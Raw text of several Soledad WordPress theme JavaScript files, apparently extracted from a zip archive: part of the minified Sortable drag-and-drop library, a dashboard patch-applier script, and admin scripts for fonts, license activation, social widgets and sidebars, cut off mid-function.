t=this.el;t[j]=null,f(t,"mousedown",this._onTapStart),f(t,"touchstart",this._onTapStart),f(t,"pointerdown",this._onTapStart),this.nativeDraggable&&(f(t,"dragover",this),f(t,"dragenter",this)),Array.prototype.forEach.call(t.querySelectorAll("[draggable]"),function(t){t.removeAttribute("draggable")}),this._onDrop(),this._disableDelayedDragEvents(),Et.splice(Et.indexOf(this.el),1),this.el=t=null},_hideClone:function(){et||(z("hideClone",this),Bt.eventCanceled||(P(tt,"display","none"),this.options.removeCloneOnHide&&tt.parentNode&&tt.parentNode.removeChild(tt),et=!0))},_showClone:function(t){"clone"===t.lastPutMode?et&&(z("showClone",this),Bt.eventCanceled||(q.parentNode!=$||this.options.group.revertClone?Q?$.insertBefore(tt,Q):$.appendChild(tt):$.insertBefore(tt,q),this.options.group.revertClone&&this.animate(q,tt),P(tt,"display",""),et=!1)):this._hideClone()}},xt&&h(document,"touchmove",function(t){(Bt.active||yt)&&t.cancelable&&t.preventDefault()}),Bt.utils={on:h,off:f,css:P,find:b,is:function(t,e){return!!N(t,e,t,!1)},extend:function(t,e){if(t&&e)for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t},throttle:S,closest:N,toggleClass:I,clone:_,index:B,nextTick:Lt,cancelNextTick:Kt,detectDirection:It,getChild:X},Bt.get=function(t){return t[j]},Bt.mount=function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];(e=e[0].constructor===Array?e[0]:e).forEach(function(t){if(!t.prototype||!t.prototype.constructor)throw"Sortable: Mounted plugin must be a constructor function, not ".concat({}.toString.call(t));t.utils&&(Bt.utils=M(M({},Bt.utils),t.utils)),K.mount(t)})},Bt.create=function(t,e){return new Bt(t,e)};var Wt,zt,Gt,Ut,qt,Vt,Zt=[],$t=!(Bt.version="1.15.0");function Qt(){Zt.forEach(function(t){clearInterval(t.pid)}),Zt=[]}function Jt(){clearInterval(Vt)}var te,ee=S(function(n,t,e,o){if(t.scroll){var i,r=(n.touches?n.touches[0]:n).clientX,a=(n.touches?n.touches[0]:n).clientY,l=t.scrollSensitivity,s=t.scrollSpeed,c=O(),u=!1;zt!==e&&(zt=e,Qt(),Wt=t.scroll,i=t.scrollFn,!0===Wt&&(Wt=A(e,!0)));var d=0,h=Wt;do{var f=h,p=k(f),g=p.top,m=p.bottom,v=p.left,b=p.right,y=p.width,w=p.height,E=void 0,D=void 0,S=f.scrollWidth,_=f.scrollHeight,C=P(f),T=f.scrollLeft,p=f.scrollTop,D=f===c?(E=y<S&&("auto"===C.overflowX||"scroll"===C.overflowX||"visible"===C.overflowX),w<_&&("auto"===C.overflowY||"scroll"===C.overflowY||"visible"===C.overflowY)):(E=y<S&&("auto"===C.overflowX||"scroll"===C.overflowX),w<_&&("auto"===C.overflowY||"scroll"===C.overflowY)),T=E&&(Math.abs(b-r)<=l&&T+y<S)-(Math.abs(v-r)<=l&&!!T),p=D&&(Math.abs(m-a)<=l&&p+w<_)-(Math.abs(g-a)<=l&&!!p);if(!Zt[d])for(var x=0;x<=d;x++)Zt[x]||(Zt[x]={});Zt[d].vx==T&&Zt[d].vy==p&&Zt[d].el===f||(Zt[d].el=f,Zt[d].vx=T,Zt[d].vy=p,clearInterval(Zt[d].pid),0==T&&0==p||(u=!0,Zt[d].pid=setInterval(function(){o&&0===this.layer&&Bt.active._onTouchMove(qt);var t=Zt[this.layer].vy?Zt[this.layer].vy*s:0,e=Zt[this.layer].vx?Zt[this.layer].vx*s:0;"function"==typeof i&&"continue"!==i.call(Bt.dragged.parentNode[j],e,t,n,qt,Zt[this.layer].el)||F(Zt[this.layer].el,e,t)}.bind({layer:d}),24))),d++}while(t.bubbleScroll&&h!==c&&(h=A(h,!1)));$t=u}},30),c=function(t){var e=t.originalEvent,n=t.putSortable,o=t.dragEl,i=t.activeSortable,r=t.dispatchSortableEvent,a=t.hideGhostForTarget,t=t.unhideGhostForTarget;e&&(i=n||i,a(),e=e.changedTouches&&e.changedTouches.length?e.changedTouches[0]:e,e=document.elementFromPoint(e.clientX,e.clientY),t(),i&&!i.el.contains(e)&&(r("spill"),this.onSpill({dragEl:o,putSortable:n})))};function ne(){}function oe(){}ne.prototype={startIndex:null,dragStart:function(t){t=t.oldDraggableIndex;this.startIndex=t},onSpill:function(t){var e=t.dragEl,n=t.putSortable;this.sortable.captureAnimationState(),n&&n.captureAnimationState();t=X(this.sortable.el,this.startIndex,this.options);t?this.sortable.el.insertBefore(e,t):this.sortable.el.appendChild(e),this.sortable.animateAll(),n&&n.animateAll()},drop:c},a(ne,{pluginName:"revertOnSpill"}),oe.prototype={onSpill:function(t){var e=t.dragEl,t=t.putSortable||this.sortable;t.captureAnimationState(),e.parentNode&&e.parentNode.removeChild(e),t.animateAll()},drop:c},a(oe,{pluginName:"removeOnSpill"});var ie,re,ae,le,se,ce=[],ue=[],de=!1,he=!1,fe=!1;function pe(n,o){ue.forEach(function(t,e){e=o.children[t.sortableIndex+(n?Number(e):0)];e?o.insertBefore(t,e):o.appendChild(t)})}function ge(){ce.forEach(function(t){t!==ae&&t.parentNode&&t.parentNode.removeChild(t)})}return Bt.mount(new function(){function t(){for(var t in this.defaults={scroll:!0,forceAutoScrollFallback:!1,scrollSensitivity:30,scrollSpeed:10,bubbleScroll:!0},this)"_"===t.charAt(0)&&"function"==typeof this[t]&&(this[t]=this[t].bind(this))}return t.prototype={dragStarted:function(t){t=t.originalEvent;this.sortable.nativeDraggable?h(document,"dragover",this._handleAutoScroll):this.options.supportPointer?h(document,"pointermove",this._handleFallbackAutoScroll):t.touches?h(document,"touchmove",this._handleFallbackAutoScroll):h(document,"mousemove",this._handleFallbackAutoScroll)},dragOverCompleted:function(t){t=t.originalEvent;this.options.dragOverBubble||t.rootEl||this._handleAutoScroll(t)},drop:function(){this.sortable.nativeDraggable?f(document,"dragover",this._handleAutoScroll):(f(document,"pointermove",this._handleFallbackAutoScroll),f(document,"touchmove",this._handleFallbackAutoScroll),f(document,"mousemove",this._handleFallbackAutoScroll)),Jt(),Qt(),clearTimeout(g),g=void 0},nulling:function(){qt=zt=Wt=$t=Vt=Gt=Ut=null,Zt.length=0},_handleFallbackAutoScroll:function(t){this._handleAutoScroll(t,!0)},_handleAutoScroll:function(e,n){var o,i=this,r=(e.touches?e.touches[0]:e).clientX,a=(e.touches?e.touches[0]:e).clientY,t=document.elementFromPoint(r,a);qt=e,n||this.options.forceAutoScrollFallback||w||y||u?(ee(e,this.options,t,n),o=A(t,!0),!$t||Vt&&r===Gt&&a===Ut||(Vt&&Jt(),Vt=setInterval(function(){var t=A(document.elementFromPoint(r,a),!0);t!==o&&(o=t,Qt()),ee(e,i.options,t,n)},10),Gt=r,Ut=a)):this.options.bubbleScroll&&A(t,!0)!==O()?ee(e,this.options,A(t,!1),!1):Qt()}},a(t,{pluginName:"scroll",initializeByDefault:!0})}),Bt.mount(oe,ne),Bt.mount(new function(){function t(){this.defaults={swapClass:"sortable-swap-highlight"}}return t.prototype={dragStart:function(t){t=t.dragEl;te=t},dragOverValid:function(t){var e=t.completed,n=t.target,o=t.onMove,i=t.activeSortable,r=t.changed,a=t.cancel;i.options.swap&&(t=this.sortable.el,i=this.options,n&&n!==t&&(t=te,te=!1!==o(n)?(I(n,i.swapClass,!0),n):null,t&&t!==te&&I(t,i.swapClass,!1)),r(),e(!0),a())},drop:function(t){var e,n,o=t.activeSortable,i=t.putSortable,r=t.dragEl,a=i||this.sortable,l=this.options;te&&I(te,l.swapClass,!1),te&&(l.swap||i&&i.options.swap)&&r!==te&&(a.captureAnimationState(),a!==o&&o.captureAnimationState(),n=te,t=(e=r).parentNode,l=n.parentNode,t&&l&&!t.isEqualNode(n)&&!l.isEqualNode(e)&&(i=B(e),r=B(n),t.isEqualNode(l)&&i<r&&r++,t.insertBefore(n,t.children[i]),l.insertBefore(e,l.children[r])),a.animateAll(),a!==o&&o.animateAll())},nulling:function(){te=null}},a(t,{pluginName:"swap",eventProperties:function(){return{swapItem:te}}})}),Bt.mount(new function(){function t(o){for(var t in this)"_"===t.charAt(0)&&"function"==typeof this[t]&&(this[t]=this[t].bind(this));o.options.avoidImplicitDeselect||(o.options.supportPointer?h(document,"pointerup",this._deselectMultiDrag):(h(document,"mouseup",this._deselectMultiDrag),h(document,"touchend",this._deselectMultiDrag))),h(document,"keydown",this._checkKeyDown),h(document,"keyup",this._checkKeyUp),this.defaults={selectedClass:"sortable-selected",multiDragKey:null,avoidImplicitDeselect:!1,setData:function(t,e){var n="";ce.length&&re===o?ce.forEach(function(t,e){n+=(e?", ":"")+t.textContent}):n=e.textContent,t.setData("Text",n)}}}return t.prototype={multiDragKeyDown:!1,isMultiDrag:!1,delayStartGlobal:function(t){t=t.dragEl;ae=t},delayEnded:function(){this.isMultiDrag=~ce.indexOf(ae)},setupClone:function(t){var e=t.sortable,t=t.cancel;if(this.isMultiDrag){for(var n=0;n<ce.length;n++)ue.push(_(ce[n])),ue[n].sortableIndex=ce[n].sortableIndex,ue[n].draggable=!1,ue[n].style["will-change"]="",I(ue[n],this.options.selectedClass,!1),ce[n]===ae&&I(ue[n],this.options.chosenClass,!1);e._hideClone(),t()}},clone:function(t){var e=t.sortable,n=t.rootEl,o=t.dispatchSortableEvent,t=t.cancel;this.isMultiDrag&&(this.options.removeCloneOnHide||ce.length&&re===e&&(pe(!0,n),o("clone"),t()))},showClone:function(t){var e=t.cloneNowShown,n=t.rootEl,t=t.cancel;this.isMultiDrag&&(pe(!1,n),ue.forEach(function(t){P(t,"display","")}),e(),se=!1,t())},hideClone:function(t){var e=this,n=(t.sortable,t.cloneNowHidden),t=t.cancel;this.isMultiDrag&&(ue.forEach(function(t){P(t,"display","none"),e.options.removeCloneOnHide&&t.parentNode&&t.parentNode.removeChild(t)}),n(),se=!0,t())},dragStartGlobal:function(t){t.sortable;!this.isMultiDrag&&re&&re.multiDrag._deselectMultiDrag(),ce.forEach(function(t){t.sortableIndex=B(t)}),ce=ce.sort(function(t,e){return t.sortableIndex-e.sortableIndex}),fe=!0},dragStarted:function(t){var e,n=this,t=t.sortable;this.isMultiDrag&&(this.options.sort&&(t.captureAnimationState(),this.options.animation&&(ce.forEach(function(t){t!==ae&&P(t,"position","absolute")}),e=k(ae,!1,!0,!0),ce.forEach(function(t){t!==ae&&C(t,e)}),de=he=!0)),t.animateAll(function(){de=he=!1,n.options.animation&&ce.forEach(function(t){T(t)}),n.options.sort&&ge()}))},dragOver:function(t){var e=t.target,n=t.completed,t=t.cancel;he&&~ce.indexOf(e)&&(n(!1),t())},revert:function(t){var n,o,e=t.fromSortable,i=t.rootEl,r=t.sortable,a=t.dragRect;1<ce.length&&(ce.forEach(function(t){r.addAnimationState({target:t,rect:he?k(t):a}),T(t),t.fromRect=a,e.removeAnimationState(t)}),he=!1,n=!this.options.removeCloneOnHide,o=i,ce.forEach(function(t,e){e=o.children[t.sortableIndex+(n?Number(e):0)];e?o.insertBefore(t,e):o.appendChild(t)}))},dragOverCompleted:function(t){var e,n=t.sortable,o=t.isOwner,i=t.insertion,r=t.activeSortable,a=t.parentEl,l=t.putSortable,t=this.options;i&&(o&&r._hideClone(),de=!1,t.animation&&1<ce.length&&(he||!o&&!r.options.sort&&!l)&&(e=k(ae,!1,!0,!0),ce.forEach(function(t){t!==ae&&(C(t,e),a.appendChild(t))}),he=!0),o||(he||ge(),1<ce.length?(o=se,r._showClone(n),r.options.animation&&!se&&o&&ue.forEach(function(t){r.addAnimationState({target:t,rect:le}),t.fromRect=le,t.thisAnimationDuration=null})):r._showClone(n)))},dragOverAnimationCapture:function(t){var e=t.dragRect,n=t.isOwner,t=t.activeSortable;ce.forEach(function(t){t.thisAnimationDuration=null}),t.options.animation&&!n&&t.multiDrag.isMultiDrag&&(le=a({},e),e=v(ae,!0),le.top-=e.f,le.left-=e.e)},dragOverAnimationComplete:function(){he&&(he=!1,ge())},drop:function(t){var e=t.originalEvent,n=t.rootEl,o=t.parentEl,i=t.sortable,r=t.dispatchSortableEvent,a=t.oldIndex,l=t.putSortable,s=l||this.sortable;if(e){var c,u,d,h=this.options,f=o.children;if(!fe)if(h.multiDragKey&&!this.multiDragKeyDown&&this._deselectMultiDrag(),I(ae,h.selectedClass,!~ce.indexOf(ae)),~ce.indexOf(ae))ce.splice(ce.indexOf(ae),1),ie=null,W({sortable:i,rootEl:n,name:"deselect",targetEl:ae,originalEvent:e});else{if(ce.push(ae),W({sortable:i,rootEl:n,name:"select",targetEl:ae,originalEvent:e}),e.shiftKey&&ie&&i.el.contains(ie)){var p=B(ie),t=B(ae);if(~p&&~t&&p!==t)for(var g,m=p<t?(g=p,t):(g=t,p+1);g<m;g++)~ce.indexOf(f[g])||(I(f[g],h.selectedClass,!0),ce.push(f[g]),W({sortable:i,rootEl:n,name:"select",targetEl:f[g],originalEvent:e}))}else ie=ae;re=s}fe&&this.isMultiDrag&&(he=!1,(o[j].options.sort||o!==n)&&1<ce.length&&(c=k(ae),u=B(ae,":not(."+this.options.selectedClass+")"),!de&&h.animation&&(ae.thisAnimationDuration=null),s.captureAnimationState(),de||(h.animation&&(ae.fromRect=c,ce.forEach(function(t){var e;t.thisAnimationDuration=null,t!==ae&&(e=he?k(t):c,t.fromRect=e,s.addAnimationState({target:t,rect:e}))})),ge(),ce.forEach(function(t){f[u]?o.insertBefore(t,f[u]):o.appendChild(t),u++}),a===B(ae)&&(d=!1,ce.forEach(function(t){t.sortableIndex!==B(t)&&(d=!0)}),d&&r("update"))),ce.forEach(function(t){T(t)}),s.animateAll()),re=s),(n===o||l&&"clone"!==l.lastPutMode)&&ue.forEach(function(t){t.parentNode&&t.parentNode.removeChild(t)})}},nullingGlobal:function(){this.isMultiDrag=fe=!1,ue.length=0},destroyGlobal:function(){this._deselectMultiDrag(),f(document,"pointerup",this._deselectMultiDrag),f(document,"mouseup",this._deselectMultiDrag),f(document,"touchend",this._deselectMultiDrag),f(document,"keydown",this._checkKeyDown),f(document,"keyup",this._checkKeyUp)},_deselectMultiDrag:function(t){if(!(void 0!==fe&&fe||re!==this.sortable||t&&N(t.target,this.options.draggable,this.sortable.el,!1)||t&&0!==t.button))for(;ce.length;){var e=ce[0];I(e,this.options.selectedClass,!1),ce.shift(),W({sortable:this.sortable,rootEl:this.sortable.el,name:"deselect",targetEl:e,originalEvent:t})}},_checkKeyDown:function(t){t.key===this.options.multiDragKey&&(this.multiDragKeyDown=!0)},_checkKeyUp:function(t){t.key===this.options.multiDragKey&&(this.multiDragKeyDown=!1)}},a(t,{pluginName:"multiDrag",utils:{select:function(t){var e=t.parentNode[j];e&&e.options.multiDrag&&!~ce.indexOf(t)&&(re&&re!==e&&(re.multiDrag._deselectMultiDrag(),re=e),I(t,e.options.selectedClass,!0),ce.push(t))},deselect:function(t){var e=t.parentNode[j],n=ce.indexOf(t);e&&e.options.multiDrag&&~n&&(I(t,e.options.selectedClass,!1),ce.splice(n,1))}},eventProperties:function(){var n=this,o=[],i=[];return ce.forEach(function(t){var e;o.push({multiDragElement:t,index:t.sortableIndex}),e=he&&t!==ae?-1:he?B(t,":not(."+n.options.selectedClass+")"):B(t),i.push({multiDragElement:t,index:e})}),{items:r(ce),clones:[].concat(ue),oldIndicies:o,newIndicies:i}},optionListeners:{multiDragKey:function(t){return"ctrl"===(t=t.toLowerCase())?t="Control":1<t.length&&(t=t.charAt(0).toUpperCase()+t.substr(1)),t}}})}),Bt});PK     N\S      inc/dashboard/js/patcher.jsnu [        (function($) {
	'use strict';

	$(document).on('click', '.penci-patch-apply', function (e) {
		e.preventDefault();

		var $this = $(this);
		var patchesMap = $this.data('patches-map');
		var fileMap = [];

		for(var i = 0; i < patchesMap.length; i++) {
			fileMap[i] = 'soledad/' + patchesMap[i];
		}

		var confirmation = confirm( `${penci_patch_notice.single_patch_confirm} \r\r\n` + fileMap.join('\r\n') );

		if ( ! confirmation ) {
			return;
		}

		addLoading();
		cleanNotice();

		sendAjax($this.data('id'), function(response) {
            if ( 'undefined' !== typeof response.message ) {
                printNotice(response.status, response.message);
            }

            if ( 'undefined' !== typeof response.status && 'success' === response.status ) {
                $this.parents('.penci-patch-item').addClass('penci-applied');
                updatePatcherCounter();
            }

            removeLoading();
        });
	});

	$(document).on('click', '.penci-patch-apply-all', function (e) {
		e.preventDefault();

		var $applyAllBtn = $(this);
        var $patches     = $('.penci-patch-item:not(.penci-table-row-heading):not(.penci-applied)').get();

		cleanNotice();

		if ( 0 === $patches.length ) {
			printNotice('success', penci_patch_notice.all_patches_applied);
			return;
		}

		if ( ! confirm(penci_patch_notice.all_patches_confirm) ) {
			return;
		}

		$applyAllBtn.parent().addClass('penci-loading');
        addLoading();
        recursiveApply($patches);
	});

    function recursiveApply($patches){
        var $applyAllBtn = $('.penci-patch-apply-all');

        if ( 0 === $patches.length ) {
            $applyAllBtn.parent().addClass('penci-applied');
            $applyAllBtn.parent().removeClass('penci-loading');
            removeLoading();

            return;
        }

        var $patch = $($patches.pop());
        var id     = $patch.find('.penci-patch-apply').data('id');

        sendAjax(id , function(response) {
            if ( 'undefined' !== typeof response.message && 'error' === response.status ) {
				$applyAllBtn.parent().removeClass('penci-loading');
                printNotice(response.status, response.message);
            }

			if ( 0 === $patches.length ) {
				printNotice('success', penci_patch_notice.all_patches_applied);
			}

            if ( 'undefined' !== typeof response.status && 'success' === response.status ) {
                $patch.addClass('penci-applied');
				updatePatcherCounter();

                recursiveApply($patches);
            } else {
                removeLoading();
            }
        });
    }

	function sendAjax(id, cb) {
		$.ajax({
			url    : PENCIDASHBOARD.ajaxUrl,
			data   : {
				action   : 'penci_patch_action',
				security : PENCIDASHBOARD.patcher_nonce,
				id,
			},
			timeout: 1000000,
			error  : function() {
				printNotice('error', penci_patch_notice.ajax_error);
			},
			success: cb
		});
	}

	// Helpers.
	function printNotice(type, message) {
		$('.penci-notices-wrapper').append(`
			<div class="penci-notice penci-${type}">
				${message}
			</div>
		`);

		setTimeout(function(){
			$('.penci-notice').addClass('penci-hidden');
		}, 7000);
	}

	function cleanNotice() {
		$('.penci-notices-wrapper').text('');
	}

	function addLoading() {
		$('.penci-box-content').addClass('penci-loading');
		$('.penci-patch-apply-all').addClass('penci-disabled');
	}

	function removeLoading() {
		$('.penci-box-content').removeClass('penci-loading');
		$('.penci-patch-apply-all').removeClass('penci-disabled');
	}

	function updatePatcherCounter() {
		var $counters = document.querySelectorAll('.penci-patcher-counter');

		$counters.forEach( $counter => {
			if ( null === $counter) {
				return;
			}

			var $count = parseInt($counter.querySelector('.patcher-count').innerText);

			if ( 1 === $count ) {
				$counter.classList.add('penci-hidden');
			} else {
				$counter.querySelector('.patcher-count').innerText = --$count;
			}
		});
	}

})(jQuery);PK     N\NK  K    inc/dashboard/js/script.jsnu [        (function ($) {
    'use strict'

    // Upload
    function soledad_upload_image_font () {
      soledad_upload_font('soledad-cf1')
      soledad_upload_font('soledad-cf2')
      soledad_upload_font('soledad-cf3')
      soledad_upload_font('soledad-cf4')
      soledad_upload_font('soledad-cf5')
      soledad_upload_font('soledad-cf6')
      soledad_upload_font('soledad-cf7')
      soledad_upload_font('soledad-cf8')
      soledad_upload_font('soledad-cf9')
      soledad_upload_font('soledad-cf10')

      soledad_delete_font('soledad-cf1')
      soledad_delete_font('soledad-cf2')
      soledad_delete_font('soledad-cf3')
      soledad_delete_font('soledad-cf4')
      soledad_delete_font('soledad-cf5')
      soledad_delete_font('soledad-cf6')
      soledad_delete_font('soledad-cf7')
      soledad_delete_font('soledad-cf8')
      soledad_delete_font('soledad-cf9')
      soledad_delete_font('soledad-cf10')
    }

    function soledad_upload_font (id_field) {
      $('#' + id_field + '-button-upload').on('click', function (e) {
        e.preventDefault()

        window.original_send_to_editor = window.send_to_editor
        wp.media.editor.open(jQuery(this))

        // Hide Gallery, Audio, Video
        var _id_hide = '.media-menu .media-menu-item:nth-of-type'
        $(_id_hide + '(2)').addClass('hidden')
        $(_id_hide + '(3)').addClass('hidden')
        $(_id_hide + '(4)').addClass('hidden')

        window.send_to_editor = function (html) {
          var link = $('img', html).attr('src')

          if (typeof link == 'undefined') {
            link = $(html).attr('href')
          }
          $('#' + id_field).val(link)
          $('#' + id_field + '-button-delete').removeClass('button-hide')

          var splitLink = link.split('/')
          var fileName = splitLink[splitLink.length - 1].split('.')
          $('#' + id_field + 'family').val(fileName[0])

          window.send_to_editor = window.original_send_to_editor
        }

        return false

      })
    }

    function soledad_delete_font (id_field) {
      $('#' + id_field + '-button-delete').on('click', function (e) {
        e.preventDefault()

        var result = window.confirm(
          'Are you sure you want to delete this font?')
        if (result == true) {

          $(this).addClass('button-hide')

          $('#' + id_field).val('')
          $('#' + id_field + 'family').val('')
        }
      })
    }

    function soledadEnvatoCodeCheck () {
      var $checkLicense = jQuery('#penci-check-license'),
        $spinner = $checkLicense.find('.spinner'),
        $activateButton = $checkLicense.find('.pennews-activate-button'),
        $missing = $checkLicense.find('.penci-err-missing'),
        $length = $checkLicense.find('.penci-err-length'),
        $invalid = $checkLicense.find('.penci-err-invalid'),
        $evatoCode = $checkLicense.find('.evato-code')

      $checkLicense.on('submit', function (e) {
        e.preventDefault()

        var evatoCode = $evatoCode.val()

        $spinner.addClass('active')
        $missing.removeClass('penci-err-show')
        $length.removeClass('penci-err-show')
        $invalid.removeClass('penci-err-show')

        if (!evatoCode) {
          $missing.addClass('penci-err-show')
          $spinner.removeClass('active')
          return false
        }

        if (evatoCode.length < 20) {
          $length.addClass('penci-err-show')
          $spinner.removeClass('active')
          return false
        }

        $activateButton.prop('disabled', true)
        $evatoCode.prop('disabled', true)

        var data = {
          action: 'penci_check_envato_code',
          code: evatoCode,
          domain: PENCIDASHBOARD.domain,
          item_id: 12945398,
        }

        $.post(PENCIDASHBOARD.ajaxUrl, data, function (response) {
          if (!response.success) {
            $spinner.removeClass('active')
            $activateButton.prop('disabled', false)
            $evatoCode.prop('disabled', false)
            var mes = response.data.message
            $invalid.text(mes).addClass('penci-err-show')
          } else {

            if ($('h1.penci-activate-code-title').length) {
              $('h1.penci-activate-code-title').html('Successfully Activated')
            }

            $('.penci-activate-desc').
              html(
                'Theme successfully activated. Thanks for buying our product.<br>Redirecting...')
            $('#penci-check-license, .penci-activate-extra-notes').hide()

            var currentUrl = window.location.href;
            if (currentUrl.endsWith('page=soledad_dashboard_welcome&tab=wizard&step=activation')) {
              window.location.reload();
            } else {
              setTimeout(function () {
              window.location.replace('?page=soledad_theme_license');
              }, 2500);
            }
          }
        })

      })
    }

    // Auto activate tabs when DOM ready.
    $(soledad_upload_image_font)
    $(soledadEnvatoCodeCheck)

  }(jQuery)
);

(function ($) {
    $(document).ready(function ($) {

      // Modify options based on template selections
      $('body').
        on('change', '.penci-instagram-container select[id$="template"]',
          function (e) {
            var template = $(this)
            if (template.val() == 'thumbs' || template.val() ==
              'thumbs-no-border') {
              template.closest('.penci-instagram-container').
                find('.penci-slider-options').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              template.closest('.penci-instagram-container').
                find('input[id$="columns"]').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
            } else {
              template.closest('.penci-instagram-container').
                find('.penci-slider-options').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              template.closest('.penci-instagram-container').
                find('input[id$="columns"]').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
            }
          })

      // Modfiy options when search for is changed
      $('body').
        on('change', '.penci-instagram-container input:radio[id$="search_for"]',
          function (e) {
            var search_for = $(this)
            if (search_for.val() != 'username') {
              search_for.closest('.penci-instagram-container').
                find('[id$="attachment"]:checkbox').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find(
                  'select[id$="images_link"] option[value="local_image_url"]').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"] option[value="user_url"]').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"] option[value="attachment"]').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"]').
                val('image_url')
              search_for.closest('.penci-instagram-container').
                find('select[id$="description"] option[value="username"]').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="blocked_users"]').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="access_token"]').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="insta_user_id"]').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
            } else {
              search_for.closest('.penci-instagram-container').
                find('[id$="attachment"]:checkbox').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find(
                  'select[id$="images_link"] option[value="local_image_url"]').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"] option[value="user_url"]').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"] option[value="attachment"]').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('select[id$="images_link"]').
                val('image_url')
              search_for.closest('.penci-instagram-container').
                find('select[id$="description"] option[value="username"]').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="blocked_users"]').
                closest('p').
                animate({
                  opacity: 'hide',
                  height: 'hide',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="access_token"]').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)
              search_for.closest('.penci-instagram-container').
                find('input[id$="insta_user_id"]').
                closest('p').
                animate({
                  opacity: 'show',
                  height: 'show',
                }, 200)

            }
          })

      // Toggle advanced options
      $('body').on('click', '.penci-advanced', function (e) {
        e.preventDefault()
        var advanced_container = $(this).parent().next()

        if (advanced_container.is(':hidden')) {
          $(this).html('[ - Close ]')
        } else {
          $(this).html('[ + Open ]')
        }
        advanced_container.toggle()
      })

      $(document).on('click', '.penci-reset-social-cache', function (e) {
        e.preventDefault()
        var button = $(this)
        $.ajax({
          url: ajaxurl,
          data: {
            _wpnonce: button.attr('data-nonce'),
            action: 'penci_social_clear_all_caches',
          },
          method: 'get',
          beforeSend: function () {
            button.addClass('loading')
          },
          success: function (response) {
            button.addClass('success')
            button.after(
              '<p class="wp-notice" style="color:blue;font-weight:bold;">' +
              response.data.messages +
              '</p>',
            )
          },
          complete: function () {
            button.removeClass('loading')
            button.prop('disabled', true)
          },
        })
      })

      var selectoptions = [
        '.select-button-type',
        '.penci-metabox-row.pheader_show',
        '.penci-metabox-row.pheader_hideline',
        '.penci-metabox-row.pheader_hidebead',
        '.penci-metabox-row.pheader_turn_offup',
        '.penci-metabox-row.page_wrap_bg_size',
        '.penci-metabox-row.page_wrap_bg_repeat',
        '.penci-metabox-row.penci_hide_fwidget',
        '.penci-metabox-row.penci_edeader_trans',
      ]

      $.each(selectoptions, function (key, value) {
        var $this = $(value),
          $select = $this.find('select')
        $select.gridPicker({
          canSelect: function (element) {
            return !$(element).is(':disabled')
          },
          canUnselect: function (element) {
            return typeof this._$ui.element.attr('multiple') !== 'undefined'
          },
        })
      })

      $('.pcfb_acces_token').on('click', (function (t) {
        t.preventDefault()
        console.log('chec')
        var n, i = $(this),
          a = i.parents('#facebook'),
          s = {
            client_id: a.find('input#facebook_appid').val(),
            client_secret: a.find('input#facebook_appsecret').val(),
            grant_type: 'client_credentials',
          }
        $.ajax({
          url: 'https://graph.facebook.com/oauth/access_token',
          data: s,
          dataType: 'json',
          type: 'POST',
          async: true,
          crossDomain: true,
          beforeSend: function () {
            i.parent().find('.pc-spinner').addClass('active')
          },
        }).done((function (e) {
          n = e.access_token, a.find('input#facebook_token').val(n)
        })).fail((function (e, t, n) {
          window.alert('Info Message: ' + n)
        })).always((function () {
          i.parent().find('.pc-spinner').removeClass('active')
        }))
      }))

      $(document).
        on('click', '.penci-license-notice .notice-dismiss', function (e) {
          e.preventDefault()
          var t = $(this),
            checkdata = {
              action: 'admin_dimiss_license_notice',
            }
          $.post(PENCIDASHBOARD.ajaxUrl, checkdata, function (response) {
            if (response.success) {
              t.fadeTo(100, 0, function () {
                t.slideUp(100, function () {
                  t.remove()
                })
              })
            }
          })
        })

      $('.pccat-color-picker').each(function () {
        $(this).wpColorPicker()
      })

    }) // Document Ready
  }
)(jQuery);

(function ($) {
  var sidebar_generator = function () {

    var _eventRunning = false

    function notify (msg, type) {

      $('.penci-notice').
        html(msg).
        removeClass('notice-success notice-info notice-error').
        addClass('notice-' + type).
        show()

    }

    $(document).
      on('click', '.penci-add-sidebar, .penci-remove-sidebar', function (e) {

        e.preventDefault()

        var self = this,
          $el = $(this),
          form = $el.closest('form'),
          type = $el.data('type'),
          nonce = $('[name="penci_ajax_processor_nonce"]').val(),

          slugField = form.find('[name="sidebar_slug"]'),
          nameField = form.find('[name="sidebar_name"]'),

          slug = $el.data('slug'),
          name = $el.data('name'),

          spinner = $('.penci-wrapper').find('.spinner'),
          table = $('#penci-table'),
          actiton_name,
          answer = ''

        if ('add' == type) {

          action_name = 'soledad_add_sidebar'

          var name = nameField.val(),
            slug = slugField.val()

          if ('' == name && '' == slug) {
            notify('Empty name or slug', 'error')
            return
          }

        } else if ('remove' == type) {

